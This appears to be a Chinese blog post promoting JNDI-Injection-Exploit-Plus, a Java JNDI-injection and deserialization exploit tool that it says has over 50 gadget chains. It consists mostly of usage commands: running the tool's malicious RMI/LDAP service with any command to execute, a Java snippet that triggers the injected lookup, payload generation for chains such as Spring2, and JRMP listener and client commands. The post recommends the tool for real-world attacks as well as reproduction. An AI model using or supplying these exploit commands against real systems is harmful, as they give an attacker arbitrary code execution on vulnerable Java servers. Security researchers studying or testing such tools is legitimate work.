一、前言
某知名安全专家:java反序列化养活了半个安全圈。
一提到java反序列化,第一个想到的工具肯定是ysoserial,其中包含了很多Gadget利用链,在复现&实战中用到的频率极高。
本文推荐一款比ysoserial更高更快更强的反序列化工具,JNDI-Injection-Exploit-Plus(文末获取项目链接)。
二、JNDI-Injection-Exploit-Plus
JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目。
1. 是一款JNDI注入利用工具,可以生成JNDI链接并启动后端相关服务。
根据JNDI的三种触发点,提供3种JNDI利用方式
远程Reference链 (3种)
本地Reference链 (4种)
反序列化链(51种)
1.1 使用方法
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-A] [address]
1.2 参数说明
-C - 要执行的命令. (可选 , 默认命令 "open /Applications/Calculator.app")
-A - 运行此工具的主机IP地址. (可选 , 默认是第一个网卡的地址)
1.3 示例
1.3.1 运行工具
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
1.3.2. 触发JNDI注入
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}
2. 是一款反序列化Payload生成工具
包含50+ Gadgets链,比ysoserial还多出10+,后续会持续补充,欢迎大家一起来提交。
2.1 使用方法
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
2.2 参数说明
-C - 要执行的命令. (可选 , 默认命令 "open /Applications/Calculator.app")
-D - 要生成的反序列化链名字,见Github列表.
-O - (可选) 输出格式,base64或二进制, 默认是二进制
2.3 示例
2.3.1 普通
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
2.3.2 JRMP
JRMPListener
java -cp JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
JRMPClient
java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
3. 总结
JNDI-Injection-Exploit-Plus 主要有JNDI注入和生成反序列化链 2个用途,其中包含的利用链更多。详情请移步项目地址:
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
喜欢的同学别忘了点个star。
4. 参考链接
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
https://github.com/welk1n/JNDI-Injection-Exploit
https://github.com/frohoff/ysoseria